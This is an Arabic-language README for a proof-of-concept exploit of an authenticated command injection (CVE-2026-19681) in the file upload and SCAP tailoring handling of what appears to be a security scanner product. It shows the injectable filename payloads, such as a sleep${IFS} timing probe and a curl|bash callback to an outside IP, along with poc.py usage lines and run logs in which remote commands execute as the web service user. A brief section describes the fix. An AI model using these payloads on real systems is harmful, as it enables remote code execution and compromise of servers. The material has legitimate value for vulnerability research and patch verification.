
استغلال إثبات المفهوم لحقن أوامر بعد المصادقة في معالجة رفع الملفات، يوضح سلسلة من خطوتين عبر REST API مع توقيت أعمى وتنفيذ أوامر قائم على الاستدعاء.

الحالة: مؤكَّدة على مختبر 6.7.2-14.el9 (2026-08-20). تم تجهيز اسم الملف
p;sleep${IFS}20;-EvvfJk عبر POST /rest/file/upload (تحمل بادئة context
المحارف الخاصة)، ثم تعطّل POST /rest/auditFile (type=scapLinux, version=1.2) لمدة
20.1 ثانية بالضبط وأعاد الخطأ 106 ("خطأ في إضافة ملف التخصيص إلى ملف SCAP zip") —
مسار الخطأ الطبيعي بعد الحقن. يحدث التنفيذ داخل أمر الصدفة zip -9Tj بمستخدم
خدمة الويب. (تم إصلاحها في 6.9.0 وفقًا لمقارنة RPM؛ الثغرة موجودة في
6.7.2–6.8.x على الأقل.)
سلسلة من خطوتين، كلتاهما تحت سيطرة المهاجم:
التحكم في اسم الملف — يخزّن POST /rest/file الملفات المرفوعة عبر
Filesystem::saveTmp() ()، والذي يبني الاسم على القرص من
معامل الخام القادم من العميل:
. السياقات غير المعروفة تتخطى جميع عمليات التحقق
من المحتوى (يصفها إشعار بأنها "مفتوحة على مصراعيها منذ SC 4.x") ولكنها ما تزال
تُخزَّن — لذا تبقى محارف الصدفة الخاصة (، ، backticks) في اسم الملف المُجهَّز.
FilesystemLib.php:587contexttempnam($tmpDir, "$userID.$token." . $context . "-")Files.php;$()نقطة الحقن — يدخل POST /rest/auditFile مع type∈SCAP وversion=1.2
إلى فرع التخصيص (AuditFiles.php:163):
$scapZipFile = $tmpDir . $params['filename'] (مُتحكَم فيه بالكامل من العميل) →
AuditFileLib::addSCAPTailoringFile() السطر 2304:
$tmpZipFile = "{$tmpDir}/" . basename($scapZipFile) . ".zip" — يزيل basename()
الرمز / ولكن ليس محارف الصدفة الخاصة — ثم بدون تهريب في
exec("{$settings['CommandZIP']} -9Tj $tmpZipFile $newTailoringFilenameEsc").
نقطة حقن ثانية من الفئة نفسها: Files.php:360
exec("{$settings['CommandUNZIP']} -qq $filename -d $tmpDir/") في extractFile().
يُستخدَم escapeshellarg($tmpZipFile) في أمري zip معًا؛ يستبدل Utility::execSafe()
(proc_open بصيغة argv + فاصل --) أمر exec النصي الخاص بـ unzip؛ وأُضيف التحقق من اسم
الملف في AuditFiles::applySCAPTailoringFile() (وهذا هو CVE-2026-19679).
# blind timing check (sleep in the context prefix; no '/' needed)
./poc.py --target https://sc.lab --username analyst --password 'pass' --check
# run a command with output capture: the PoC serves the script over HTTP, injects a
# short curl|bash callback, and prints the POSTed-back output. Target must be able to
# reach this machine (same L2 in the lab).
./poc.py --target https://sc.lab --username analyst --password 'pass' --cmd whoami
# verbatim injection (no callback) — payload must fit ~47 chars
./poc.py --target https://sc.lab --username analyst --password 'pass' \
--cmd 'touch${IFS}/tmp/pwned' --no-exfil
ملاحظات:
/rest/file/upload (حقل multipart Filedata، حقل نموذج context) — اكتُشف على المختبر؛ قد تختلف الإصدارات الأخرى، وجرى فحص مرشّحات بديلة.tempnam() في PHP بادئة الاسم المُجهَّز — لا ينجو سوى ~50-55 حرفًا من context (قِيست على المختبر؛ قُطعت نسخة hex-bootstrap في منتصف الحمولة). الحقن القصير مثل p;sleep${IFS}20; يناسب؛ وكل ما هو أطول يمر عبر خادم الاستدعاء.type=scapLinux|scapWindows، version=1.2، benchmarkName، dataStreamName (وفقًا لـ AuditFiles::validateAdd)؛ يرفض PARAM_FILENAME فقط / والملفات غير الموجودة، لذا يمرّ ;/${IFS}.عناصر التحقق في المختبر (يُشار إليها في مخرجات السكربت عند فشلها):
SCAPTailoringFileParser (ملف تعريف واحد على الأقل)؛ استبدله بـ datastream تخصيص SCAP حقيقي إذا رُفض.type أحد أعضاء AuditFileLib::$validSCAPTypes (المتوقع scap).auditFile الدقيقة من AuditFiles::validateAdd()؛ اضبطها إذا أعاد POST خطأ في المعاملات.../cve-2026-19679/ — نصف التحقق من المدخلات في السلسلة نفسها (تنقية اسم الملف)، مع مقارنة تفاضلية لكشف الإصدار.$ python3 cve-2026-19681.py --target https://2.2.2.2 --username user --password "user" --cmd whoami
[+] authenticated, token 20425636...
[*] callback server on 1.1.1.1:33755 — injecting 'curl${IFS}1.1.1.1:33755|bash' (target must reach this IP)
[+] staged audit zip as filename='p;curl${IFS}1.1.1.1:33755|bash;-g6LDro'
[*] stage 2: uploading SCAP tailoring file (context=tailoringFile)
[+] staged tailoring file as filename='tailoringFile-15xUAv'
[*] stage 3: POST /rest/auditFile — addSCAPTailoringFile() exec() fires
[*] HTTP 403 in 0.1s: {"type": "regular", "response": "", "error_code": 106, "error_msg": "Error adding Tailoring file to SCAP zip file.\n", "warnings": [], "timestamp": 1787236048}
[*] injection fired in 0.1s; waiting for callback output ...
[+] command output:
tns
$ python3 cve-2026-19681.py --target https://2.2.2.2 --username user --password "user" --cmd pwd
[+] authenticated, token 20958963...
[*] callback server on 1.1.1.1:36809 — injecting 'curl${IFS}1.1.1.1:36809|bash' (target must reach this IP)
[+] staged audit zip as filename='p;curl${IFS}1.1.1.1:36809|bash;-G7e1sg'
[*] stage 2: uploading SCAP tailoring file (context=tailoringFile)
[+] staged tailoring file as filename='tailoringFile-DQzq4v'
[*] stage 3: POST /rest/auditFile — addSCAPTailoringFile() exec() fires
[*] HTTP 403 in 0.1s: {"type": "regular", "response": "", "error_code": 106, "error_msg": "Error adding Tailoring file to SCAP zip file.\n", "warnings": [], "timestamp": 1787236116}
[*] injection fired in 0.1s; waiting for callback output ...
[+] command output:
/opt/sc/www